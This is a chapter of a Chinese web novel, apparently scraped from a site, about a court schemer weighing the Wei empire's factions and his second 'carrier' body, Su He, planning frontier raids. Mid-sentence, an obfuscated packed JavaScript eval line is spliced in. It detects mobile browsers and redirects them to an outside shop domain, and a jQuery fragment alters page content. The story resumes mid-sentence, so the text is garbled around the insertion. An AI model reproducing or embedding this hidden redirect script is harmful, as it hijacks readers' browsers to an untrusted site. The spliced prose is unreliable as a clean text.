来魏都之前,几人打算先想办法进入朝廷核心圈层,再徐徐图之。

    目前看,目标已经实现了一半,不宜再轻举妄动。

    谢清辞此人容貌过胜,如以身入局,必将如木秀于林,从目前了解到的大魏皇室的颜狗尿性,届时,后果将难以预计。

    如此说来,如今的局势反倒是最适合他的。

    当朝太子的全然信任,已经可以做到很多事情了。

    魏帝子嗣众多,目前最显眼的是太子、昭华长公主以及九皇子。

    许是昭华是女子的缘故,魏帝近来对其颇为纵容。昭华此人,也确实有能为,行事果决狠辣,汤无善评价其有雄主之姿。

    “当年她嫁给北燕的太子,没过两年,北燕太子病亡。她带着嫁妆一个人杀回来,在路上还平了一股劫道的山贼,把那些山贼收归己用,这份胆子,这份手段,京里那些王公贵族的公子哥,一个能打的都没有。而且她敢用人,不管出身,只要有本事,她就敢用,这些年,她身边确实聚拢了不少能人。”

    汤无善话锋一转:"但是她有个致命的问题,极其自负且极度控制,容不下半分不同的声音,容不下任何不受掌控的棋子。然此人果决,当年北燕王室派使者来接她回去守陵,她直接割了使者的耳朵送回去,放话要北燕王亲自来接。此人亦狠辣,对待反对之人暗中控制并施以极刑,谁跟她共事都要日夜提心吊胆。”

    至于那藏在幕后的九皇子,汤无善也没漏下:“九皇子母家是江南沈家,三代垄断漕运,手里攥着大魏半壁的钱粮,看着温和仁厚不争不抢,实则一肚子算计,这些年,年年往京里送银子,把半个御史台都喂得服服帖帖,天天在魏帝面前夸他仁厚爱民,就等着太子和昭华斗得两败俱伤,好出来摘桃子。”

    说到这里,汤无善再提魏佑:“偏偏就是这人人都看不起的太子,才是最适合我们……”他再三斟酌,终究是未说出“摆弄”二字,“最是适合谋划的……他顶着好色昏庸的名头,魏帝虽嘴上赞其风雅,实际也觉得他成不了气候,反倒是留了喘息的空间。昭华和九皇子应当也是看他不起的。即便是百姓中,也大开赌局,赌这位三太子何时退场。”

    谢清辞指尖轻轻叩着案面,想起昨晚魏佑红着眼睛坐在青砖上,哭着说“孤只想活着,难道就错了吗”的样子,眼底浮起一点极淡的情绪。他端起茶盏喝了一口热茶,才缓缓开口:“谋划是手段,经营是根本,还需有自己的势力才行。”

    汤无善点头应下,这也是他们让燕回留在定南的原因。定南军一旦经营好,必然是一股不可小觑的势力。

    只是,定南终究有些偏远了。

    汤无善心中隐隐忧虑。

    凡逐鹿天下者,必树旗帜,方聚人心。

    而聚拢之法,一曰权势,二曰德行。

    权势可借,德行难伪。然而,以谢清辞这种隐于幕后的行事方式,即便是权势,也实在是难以经营属于自己的势力。只是此时,也不是说这些的时候。目前局势一片大好,已经是远超预期了,且势力这种东西只能慢慢经营。

    看出汤无善的忧虑,谢清辞道:“先生误忧,待时机成熟,必有外援相助。”

    汤无善应诺,刚要起身退下,忽然想起一件事,又坐了回去:“主公,昨日太子妃派人递了帖子,请您过府赴宴,说是要感谢您对太子的照拂,您看要回吗?”

    谢清辞闻言忍不住挑了挑眉,想起那日李莞攥着他的手轻佻摩挲的样子,低笑一声:“回,就说我近日身体欠佳,改日一定登门叨扰,太子妃的面子,哪敢不给。”

    汤无善应了,郑重道:“主公,太子对您不同寻常,成也,败也,需留心分寸。”

    谢清辞抬眼笑了笑:“先生放心。”

    门被轻轻带上,书房里重新归了安静,只有窗外风吹梅枝,落雪簌簌的轻响。

    谢清辞看着窗外枝头上那点饱经摧残的腊梅,指尖摩挲着温热的茶盏壁,想起魏佑那句坦荡得惊掉人下巴的“孤不行啊”,低声自语:“不同寻常……本来就是要他不同寻常,这条路才走得下去。”

    谢清辞这条线走到现在已经是骑虎难下,再无退路,只能见招拆招了。他想着,如需站上顶峰,方能操纵大局,那权、钱、名必然缺一不可。

    而目前看最为重要的还是苏禾那边的进展。

    这般想着,谢清辞确认了一下挂机模式行动关键词没有变化,便闭上眼睛,呼叫系统。

    【系统,切换到载体二号。】

    【确认切换,载体二号苏禾。请宿主放松,做好切换准备。】

    林越切换到苏禾的身体里,发现苏禾又在练兵……

    这个号简直像是个虽然遇到了抠门老板但为了

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17846688|211742||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    获得不知名荣誉而责任心爆棚的自强不息的代练号,在这无人监督的角落日复一日不停歇地打怪升级。

    林越翻了翻记忆,发现苏禾出人意料又不出意外地升级了,属性上再次全面提升,刀法熟练度已经到了大师级,军职也破格提拔为旅帅,下辖五队,相当于两个半百夫长了。

    二百余人的操练声如闷雷滚过校场,震得脚下黄土微颤。

    呼和声浪裹挟中,一只传令兵扑腾了过来,像一只风尘仆仆的信鸽。

    那传令兵喘着粗气,双手抱拳:“苏旅帅,将军召您议事!”

    尘土飞扬间,苏禾收势站定,额角微汗。

    她安排好一应训练事宜,让旅佐赵灵代领,自己跟着传令兵前往守将处。

    北风大作,门开的瞬间,风裹挟着关外的黄沙卷进来,吹得屋内陈设微微晃动。

    苏禾抬手掸掉肩甲上的木屑,垂手立在帐下——苏禾的旅帅是破格提拔,清沙关上下,不少老将都眼红得厉害。

    主位上的张镇东目光落在苏禾身上带着不加掩饰的欣赏,这位守将在清沙关守了十五年,什么人能打仗什么人是花架子一眼就能看穿,俨然将苏禾当做了重点培养对象,见苏禾进门便道:“苏禾,近些。”

    待苏禾走近,他示意右营统领继续。

    右营统领是个四十余岁的老将,单刀直入道:“诸位,北燕人这一月来三次扰边,抢了我军三个边村,杀百姓百余人,抢牛羊近千,可我们大军一出关,他们就转身退进草原,我们回关,他们又来,摆明了要耗我们粮草拖我们军心。眼看着天越来越冷,末将以为,与其被动防守,不如主动扰敌。”

    众人纷纷称是,但商量好一会儿,也没有个具体的章法。

    张镇东目光扫过帐内众将,见众人面露难色,便看向苏禾,沉声道:“苏旅帅,可有良策?”

    顶着众人的目光,苏禾一步踏出,抱拳道:“末将愿带五十名精锐小队,轻装绕路奔袭北燕大营后方,专杀巡逻哨、烧粮草、斩将领,不让他们有一日安宁,待他们军心疲惫、草木皆兵,我军以逸待劳定能占据先机,届时大军再出击,可一战破敌。”

    话落,帐内静了下来,只有烛火燃烧的噼啪声清晰可闻。

    没等张镇东开口,下首左营统领“啪”得一声拍了桌案,震得案上的茶碗都跳了起来。